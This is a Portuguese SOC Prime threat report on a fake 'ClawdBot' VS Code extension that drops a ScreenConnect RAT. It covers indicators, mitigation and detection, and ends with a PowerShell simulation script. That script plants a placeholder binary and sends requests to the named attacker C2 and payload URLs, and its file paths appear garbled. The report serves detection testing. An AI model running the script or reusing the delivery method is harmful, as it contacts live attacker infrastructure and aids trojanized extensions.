SOC Prime Bias: Crítico

28 Jan 2026 09:58 UTC

Extensão Fake ClowdBot do VS Code Distribui ScreenConnect RAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Extensão Fake ClowdBot do VS Code Distribui ScreenConnect RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma extensão maliciosa do Visual Studio Code chamada ClawdBot Agent finge ser um assistente de codificação com IA, mas instala secretamente uma ferramenta de acesso remoto ScreenConnect armada no Windows ao iniciar o VS Code. Na inicialização, a extensão busca um arquivo de configuração de um domínio controlado por atacantes, depois baixa e executa um binário falso do VS Code (Code.exe) junto com DLLs de suporte. Como caminho de entrega secundário, pode obter o mesmo instalador de um link do Dropbox para manter a disponibilidade da carga útil. A campanha abusa de uma ferramenta confiável de suporte de TI para se integrar à atividade legítima de administração remota e reduzir a suspeita.

Investigação

Pesquisadores adquiriram o package.json da extensão, confirmaram sua ativação na inicialização do VS Code, e recuperaram a configuração remota em JSON listando os componentes maliciosos. A análise binária mostrou módulos ScreenConnect assinados que sinalizavam para um servidor de retransmissão personalizado. Lógica de contingência adicional foi encontrada em JavaScript e PowerShell, referenciando domínios secundários e cargas hospedadas no Dropbox. Artefatos no disco foram observados na pasta %TEMP%Lightshot.

Mitigação

Remova a extensão ClawdBot Agent do VS Code e exclua os arquivos restantes do local de instalação do ScreenConnect e do diretório %TEMP%Lightshot. Desinstale o serviço cliente ScreenConnect e bloqueie a conectividade de saída para os domínios de retransmissão e IPs identificados. Gire quaisquer chaves de API ou segredos que possam ter sido inseridos na extensão.

Resposta

Detecte a extensão maliciosa monitorando as instalações de extensões do VS Code e a criação do diretório Lightshot. Alerta na execução de binários Code.exe ou ScreenConnect de caminhos não padrão e em conexões de saída para meeting.bulletmailer.net:8041 ou o endereço IP associado. Realize forense no host para confirmar a remoção de persistência e identificar quaisquer cargas adicionais.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Verificador de Pré-voo de Telemetria & Baseline deve ter passado.

Narrativa e Comandos do Ataque

  1. O atacante publica uma extensão trojanizada do VS Code intitulada “Clawdbot Helper”.
  2. A vítima instala a extensão via o Mercado do VS Code, que executa um script de pós-instalação que silenciosamente insere o cliente ScreenConnect (ScreenConnect.Client.exe) em %APPDATA%ScreenConnect.
  3. Imediatamente após a instalação, o cliente inicia três conexões TCP de saída para os domínios C2 controlados pelo atacante para recuperar cargas adicionais e relatar o status do host.
  4. As conexões de saída geram registros de Evento ID 3 do Sysmon que correspondem à lista dest_ip , satisfazendo a regra de detecção.

Script de Teste de Regressão

# --------------------------------------------------------------
# Rotina de pós-instalação simulada de extensão VS Code maliciosa
# --------------------------------------------------------------

# Passo 1 – Inserir um binário ScreenConnect fictício (simulado)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Criar um binário de espaço reservado inofensivo (por exemplo, uma cópia do notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force

# Passo 2 – Iniciar conexões de saída para cada host C2
$c2Hosts = @(
    "http://meeting.bulletmailer.net/collect",
    "http://clawdbot.getintwopc.site/payload",
    "https://www.dropbox.com/s/evilpayload.exe"
)

foreach ($url in $c2Hosts) {
    try {
        # Solicitação web silenciosa; -UseBasicParsing evita prompts de UI
        Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
        Write-Host "Contacted $url"
    } catch {
        Write-Host "Failed to contact $url (expected in a sandbox)."
    }
}

# Fim do script – neste ponto o Sysmon deve ter registrado três
# eventos de NetworkConnect cujos valores de DestinationIp correspondem à regra.

Comandos de Limpeza

# --------------------------------------------------------------
# Remover artefatos simulados
# --------------------------------------------------------------

# Parar quaisquer trabalhos do PowerShell remanescentes (nenhum neste script simples)
Get-Job | Remove-Job -Force

# Excluir a pasta do cliente ScreenConnect fictício
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force

# Opcionalmente limpar o buffer do Sysmon (requer admin)
# sysmon -c